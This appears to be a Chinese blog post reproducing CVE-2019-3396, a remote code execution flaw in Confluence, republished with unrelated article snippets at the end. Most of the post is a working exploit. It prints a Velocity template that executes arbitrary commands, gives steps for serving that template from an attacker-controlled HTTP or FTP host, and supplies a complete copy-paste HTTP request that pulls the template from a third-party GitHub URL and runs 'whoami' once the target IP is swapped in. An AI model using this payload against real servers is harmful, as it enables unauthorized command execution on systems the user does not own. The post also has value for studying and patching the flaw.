CVE-2019-3396 Confluence RCE漏洞简单粗暴复现

2023-11-15

CVE-2019-3396 Confluence RCE漏洞简单粗暴复现

1,前言
网上也有很多关于该漏洞的说明和复现,不再做过多阐述,在复现该漏洞时踩了一些坑,然后发现了一个快速复现的方法,所以本篇文章介绍的是如何简单快速地复现该漏洞。想快速复现的直接看下面的poc即可。
2.漏洞复现过程简述
(1)vm文件
需求:需要远程包含一个后缀是.vm的文件,文件内容如下

#set ($e="exp")
#set ($a=$e.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec($cmd))
#set ($input=$e.getClass().forName("java.lang.Process").getMethod("getInputStream").invoke($a))
#set($sc = $e.getClass().forName("java.util.Scanner"))
#set($constructor = $sc.getDeclaredConstructor($e.getClass().forName("java.io.InputStream")))
#set($scan=$constructor.newInstance($input).useDelimiter("\\A"))
#if($scan.hasNext())
    $scan.next()
#end

注:网上的复现文章文件名是r.vm,文件名自己随便起,但是文件内容一定不要变
(2)复现步骤
注:我的服务器是ubuntu,vm文件随便放哪个目录都可以,但是记住http服务或者ftp服务的开启一定要在vm文件的目录下。这里我放到了tmp目录,vm文件名为cmd.vm
①将vm文件放入tmp目录
②自己的服务器搭建ftp服务或者http服务(python快速搭建)
搭建http服务

cd /tmp
python3 -m http.server

搭建ftp服务

cd /tmp
pip install pyftpdlib
python -m pyftpdlib -p  8888

②将poc中的_template的值改成
如果搭建的是http服务

http://yourip/cmd.vm

如果搭建的是ftp服务

ftp://yourip/cmd.vm

点击发包即可
注:上面的步骤我只是大概介绍,当作一个回顾,不详细,上面的详细步骤可以查看其它文章,写的都很详细。

3.快速复现
(1)问题
照着搭建ftp等方式去进行复现我竟然没有成功,ftp服务这些是没有问题的,测试过了,很是苦恼,但突然发现goby上面有该漏洞的poc,能够检测该漏洞,而且对于该漏洞还有验证功能,更厉害的是还有一个链接,该链接也就是那个vm文件,所以就不用再搭建http或者ftp环境了,直接把_template的值改成这个链接的即可。链接如下。

https://raw.githubusercontent.com/r33nd/confluence/master/cmd.vm

(2)完整POC如下

POST /rest/tinymce/1/macro/preview HTTP/1.1
Host: IP:8090
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Referer: http://IP:8090/pages/resumedraft.action?draftId=786457&draftShareId=056b55bc-fc4a-487b-b1e1-8f673f280c23&
Content-Type: application/json; charset=utf-8
Content-Length: 244


{"contentId":"786458","macro":{"name":"widget","body":"","params":{"url":"https://www.viddler.com/v/23464dc6","width":"1000","height":"1000","_template":"https://raw.githubusercontent.com/r33nd/confluence/master/cmd.vm","cmd":"whoami"}}}

只需要改poc里面的IP地址(改为自己的目标IP),然后执行命令,poc中执行的是whoami命令。

PS:这个方法很简单,复制poc,把ip一换就好了,省略了搭建环境的步骤;但是如果从学习的角度出发建议小伙伴还是照着网上那种完整步骤去进行复现。如果是要追求速度的话,那么用这个方法还是会快一些的。

4.补充
最近试了一下msf里面,有CVE-2019-3396 Confluence RCE漏洞的漏洞利用模块;使用命令:search confluence即可搜索到confluence的相关漏洞利用模块,具体的利用就不再阐述了,看一下msf的简单使用应该就会啦。
再啰嗦一句,这个最好是有服务器的话用msf很简单,如果是本地kali的话那么还需要走代理之类的,没有服务器那么还是用上面的方法相对更简单点吧。。
在这里插入图片描述

本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

CVE-2019-3396 Confluence RCE漏洞简单粗暴复现 的相关文章

  • Git-用 cherry-pick 挑好看的小樱桃

    前篇 在此之前 我想问一个问题 你是在接触 Git 多久之后 知道有这个命令的 我的答案是很久很久之后 这真是一个悲伤的故事 懒 是万恶之源 此话果然不假 cherry pick 能干啥 cherry 中文翻译是樱桃 pick 中文翻译是采
  • 关系代数中的除法运算

    关系代数中的除法运算 这个概念的描述的非常抽象 刚开始学习的同学完全不知所云 这里通过一个实例来说明除法运算的求解过程 设有关系R S 如图所示 求R S 的结果 求解步骤过程 第一步 找出关系R和关系S中相同的属性 即Y属性 在关系S中对
  • Python-Pyqt6主窗口调用子窗口并互相传递参数

    功能实现 在主窗口点击按钮 调出子窗口 并向子窗口传递参数 在子窗口输入数据后再向主窗口传递参数 并在主窗口显示输入的数据 代码实现 1 载入图形化界面 在MainWinGUI py和ChildWinGUI py两个文件中编写主窗口和子窗口
  • maven 1、什么是maven

    什么是Maven 目前无论使用IDEA还是Eclipse等其他IDE 使用里面ANT工具 ANT工具帮助我们进行编译 打包运行等工作 Apache基于ANT进行了升级 研发出了全新的自动化构建工具Maven Maven是Apache的一款开
  • 计算机视觉基础2

    特征 颜色特征 几何特征 边缘 像素明显变化的区域 限速值函数快速变化的区域 一阶导数的机制区域 边缘提取 先高斯去噪 再使用一阶导数获取极值 导数对噪声敏感 边缘提取尺度问题 不同标准差的滤波 能捕捉到不同尺度的边缘 基于特征点的特征描述
  • 查看Linux下端口占用情况的命令

    在使用Linux系统的过程中 有时候会遇到端口被占用而导致服务无法启动的情况 比如HTTP使用80端口 但当启动Apache时 却发现此端口正在使用 这种情况大多数是由于软件冲突 或者默认端口设置不正确导致的 此时需要查看究竟哪个进程占用了
  • Python安装

    windows安装Python python官网 python官网下载 打开下载链接选择需要下载的python版本 点击版本号或者Download按钮进入下载页面 滚动到页面最下面可看到各个平台的 Python 安装包 选择Operatin
  • Unity按钮事件的几种绑定方式

    许久没有写C 代码了 对于一些东西自己给整忘了 在此记录下 方便以后自己查阅 获取到按钮组件 我是将代码挂载在其父节点上 一 代码动态绑定 在代码中获取此按钮 并对他就进行绑定 一般都是使用的这类情况 private Button back
  • OC 冒泡排序 ——时间排序

    NSMutableArray array NSMutableArray arrayWithObjects 2013 10 18 2013 10 11 2013 10 16 2013 10 15 2013 10 14 2013 10 13 2
  • 基于Java的迷宫小游戏

    一 实验内容 1 迷宫游戏是非常经典的游戏 在该题中要求随机生成一个迷宫 并求解迷宫 2 要求查找并理解迷宫生成的算法 并尝试用两种不同的算法来生成随机的迷宫 要求迷宫游戏支持玩家走迷宫 和系统走迷宫路径两种模式 玩家走迷宫 通过键盘方向键
  • springboot@Transactional事务不生效的几种解决方案

    springboot事务不生效的几种解决方案 最近在业务中遇到了很奇怪的场景 在加上 Transactional注解后 插入2条数据 如果第二条出异常了 第一条不会回滚 排查了很久 上网也找资料看了很久 问题得以解决 总结了事务不生效的几点

随机推荐